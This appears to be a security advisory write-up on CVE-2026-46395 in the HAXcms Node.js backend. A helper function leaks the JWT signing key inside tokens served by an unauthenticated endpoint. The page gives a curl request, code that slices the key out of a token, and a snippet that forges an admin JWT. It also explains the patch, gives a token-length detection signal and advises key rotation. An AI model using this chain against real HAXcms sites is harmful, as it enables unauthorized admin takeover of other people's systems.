HAXcms 25.0.0 ships a function called hmacBase64. The signature is (data, key). The function name describes an operation. The implementation does something else. It calls crypto.createHmac("sha256", "0") with the literal string "0" as the key, ignoring the key parameter entirely, then concatenates the real key onto the 32-byte HMAC output and base64url-encodes the result. Every value the function returns has the structure HMAC_SHA256("0", data) || key, in that order, with the key as raw UTF-8 bytes. The only place the function is called is getRequestToken, which passes this.privateKey + this.salt as the key. The unauthenticated bootstrap endpoint every HAXcms browser session fetches, /system/api/connectionSettings, returns five distinct tokens built from that function. The JWT signing key sits in the back half of every one. The CVE on file is CVE-2026-46395.
CVE-2026-46395: HAXcms's hmacBase64 Concatenates The JWT Signing Key Onto Every Token It Returns
vendor
pattern
cve
proof of concept
The function name describes the patch, not the code it replaced
The npm package is @haxtheweb/haxcms-nodejs, the Node.js backend for HAXcms, the open-source CMS maintained by the HAXtheweb project at Penn State. The advisory for CVE-2026-46395 (GHSA-6c8g-9hfh-pq5h) names the vulnerable function as hmacBase64 in src/lib/HAXCMS.js and the patched version as 26.0.0. The diff between v25.0.0 and 26.0.0, scoped to that single function, is the entire story.
hmacBase64(data, key)
{
- var buf1 = crypto.createHmac("sha256", "0").update(data).digest();
- var buf2 = Buffer.from(key);
- // generate the hash
- return Buffer.concat([buf1, buf2]).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+ return crypto
+ .createHmac('sha256', key)
+ .update(data)
+ .digest('base64')
+ .replace(/\+/g, '-')
+ .replace(/\//g, '_')
+ .replace(/=+$/, '');
}The four red lines, read in order, encode two independent errors moving in opposite directions. The first line passes the literal string "0" to createHmac as the key. The key parameter does not appear. The HMAC computed is HMAC_SHA256("0", data), a function of data alone. Every HAXcms instance on the internet that calls this function with the same data value computes the same 32 bytes. The second line wraps the real key parameter in a Buffer. The fourth line concatenates the two buffers and base64url-encodes the result. The comment on the third line, // generate the hash, names what the function is supposed to be doing. The implementation under the comment is doing something else.
The patched version removes the constant "0", removes the Buffer.from(key), removes the concatenation, and lets createHmac(key) do its job. The fix is to compute an HMAC. Before the fix, the function was not computing an HMAC. It was computing a constant-keyed digest of data and then publishing key next to it.
The key in the back half is the JWT signing key
hmacBase64 is private to the class. There is one wrapper that calls it:
getRequestToken(value = '')
{
return this.hmacBase64(value, this.privateKey + this.salt);
}Two attributes are read on every call. this.privateKey is loaded from a file called .pk in the HAXcms config directory. this.salt is loaded from SALT.txt. The init code populates them once, on the first server start when those files do not exist:
this.privateKey = uuidv4();
fs.writeFileSync(path.join(this.configDirectory, ".pk"), this.privateKey);
...
this.salt = uuidv4();
fs.writeFileSync(path.join(this.configDirectory, "SALT.txt"), this.salt);Each value is a UUID v4 string, 36 ASCII characters. Concatenated, this.privateKey + this.salt is 72 bytes of UTF-8. Both files are written once and never rotated. Nothing in the HAXcms codebase calls any rotation routine on either path.
The same concatenation signs every JWT the server issues:
getJWT(name = null)
{
let token = {};
token['id'] = this.getRequestToken('user');
...
return JWT.sign(token, this.privateKey + this.salt);
}And verifies every JWT the server checks:
decodeJWT(key) {
try {
return JWT.verify(key, this.privateKey + this.salt);
}
catch (e) {
return false;
}
}The string in the back half of every token hmacBase64 returns is the symmetric secret HAXcms uses to sign and verify session tokens. Recovery of that string is recovery of the authority to sign any session, as any user, including the configured super-user. The CMS's authentication model collapses to whoever has read a single hmacBase64 output.
The endpoint that publishes the tokens does not require a session
/system/api/connectionSettings is a bootstrap endpoint. Every HAXcms page fetches it without a session, by design. The route map names it in the allowlist of routes that bypass JWT validation, with a comment that says exactly that:
// these routes need to return a response without a JWT validation
const OpenRoutes = [
'generateAppStore',
'connectionSettings',
'getSitesList',
'getSkeleton',
'login',
...
];The handler emits a JavaScript file that the page evaluates as its runtime config. Inside that file, five distinct getRequestToken calls populate five fields:
const siteToken = HAXCMS.getRequestToken(HAXCMS.getActiveUserName() + ':' + sitename);
const userToken = HAXCMS.getRequestToken(HAXCMS.getActiveUserName());
const returnData = JSON.stringify({
token: HAXCMS.getRequestToken(),
...
getFormToken: HAXCMS.getRequestToken('form'),
...
appStore: {
...
params: {
'appstore_token': HAXCMS.getRequestToken('appstore'),
...
}
},
...
});The five distinct values (token, siteToken, userToken, getFormToken, appstore_token) each carry the same 72-byte tail. The full request to extract the key is a single GET against any HAXcms install on ≤ 25.0.0:
curl -s https://target.example.com/system/api/connectionSettingsPull the token field, base64url-decode it, slice off the first 32 bytes, read the remainder as UTF-8:
const tokenField = "<the value of any token field in the response>";
const buf = Buffer.from(tokenField, 'base64url');
const recovered = buf.slice(32).toString('utf8');
// recovered is privateKey + salt, 72 chars of UUID materialThe 32-byte prefix is HMAC_SHA256("0", data). Because data is "" for the bare token field and the key is the constant "0", the prefix is the same on every vulnerable HAXcms instance. A scanner does not need to inspect or decode anything more than the first 32 bytes to confirm a target is vulnerable. The detection signature is a single 32-byte constant computed once, offline.
With the 72-byte key in hand, forging an admin JWT is one call into jsonwebtoken:
const jwt = require('jsonwebtoken');
const now = Math.floor(Date.now() / 1000);
const adminJwt = jwt.sign(
{
id: '<getRequestToken("user"), reproduced locally with the recovered key>',
user: '<super-user name>',
iat: now,
exp: now + 900,
},
recovered,
{ algorithm: 'HS256' }
);The id claim that decodeJWT is checked against on authenticated paths comes from getRequestToken('user'). The attacker reproduces the vulnerable hmacBase64 formula locally (HMAC over the constant "0", concatenated with the recovered key, base64url-encoded) and sets that string as id. The server verifies the JWT signature with privateKey + salt, the signature matches, the id matches what the server's own getRequestToken('user') would produce, and the request authenticates. From there, the attacker has authority over every write-side handler in the routes map: saveNode, saveManifest, saveOutline, createNode, copySite, archiveSite, and the rest. HAXcms is a CMS. Admin authority is the goal of authentication; the bootstrap endpoint is publishing the key that authenticates it.
The visible side effect of the patch is shorter tokens
The HMAC output is always 32 bytes. The privateKey + salt is always 72 bytes, two concatenated UUID v4 strings, all ASCII. Base64url encoding of 32 + 72 = 104 bytes produces a 139-character string after the trailing = is stripped. Base64url encoding of the patched function's 32-byte HMAC produces a 43-character string after the same strip.
Token length is the indicator. Any HAXcms instance still emitting 139-character tokens on /system/api/connectionSettings is publishing its JWT signing key on every page load. Any instance emitting 43-character tokens is on 26.0.0 or has the fix backported. Defenders auditing HAXcms deployments can grep their access logs for the route and the response body for the length of the token field. Two numbers, 139 and 43, separate the vulnerable from the patched.
The UUIDs in .pk and SALT.txt are not rotated by the patch. Upgrading to 26.0.0 stops the leak going forward; it does not invalidate any key already harvested. Every browser session of every HAXcms site running ≤ 25.0.0 fetched /system/api/connectionSettings and rendered the five tokens into the document the browser parsed. Every proxy log, every browser extension, every shared-device cache, every third-party analytics request that observed any of those page loads holds a copy of the JWT signing key. Operators upgrading to 26.0.0 who want to close CVE-2026-46395 rather than stop bleeding it need to delete .pk and SALT.txt before the next server start; the init code creates fresh UUIDs when both files are missing. The advisory says "patched in 26.0.0." That is true for keys generated after the upgrade. For the existing keys, the only mitigation is rotation, and the only rotation mechanism HAXcms ships is the absence of those files at startup.
Key in the output
The shape this CVE exhibits has a name. A cryptographic helper takes a key parameter, substitutes a hardcoded constant for it in the operation the function claims to perform, then concatenates the real key onto the result as raw bytes before encoding. Two errors in opposite directions compose into a single primitive that publishes the secret it was supposed to bind. The key is not in the operation. The key is in the output.
Either error alone would have been milder. If only the literal "0" were the key, every HAXcms instance would compute identical, forgeable HMACs for the same input, but the secret stored in .pk and SALT.txt would stay on disk. If only the concatenation were present (with the real key actually used in createHmac), the bug would leak the key clumsily, but the 32-byte prefix would vary per instance and a scanner would have to recover and verify the key before claiming a hit. The combination is what made the bug a network-readable oracle: a constant 32-byte prefix attackers verify offline, followed by a 72-byte tail every attacker recovers in one slice.
The comment in the vulnerable function, // generate the hash, is testimony that the author understood what the function was for. The implementation under the comment is the bug. Code review against the comment would have caught it. Code review against the function name would have caught it. The function shipped past both.
PoC and full disclosure: GHSA-6c8g-9hfh-pq5h
The patch makes hmacBase64 compute an HMAC. Before the patch, it computed something the network was not allowed to see.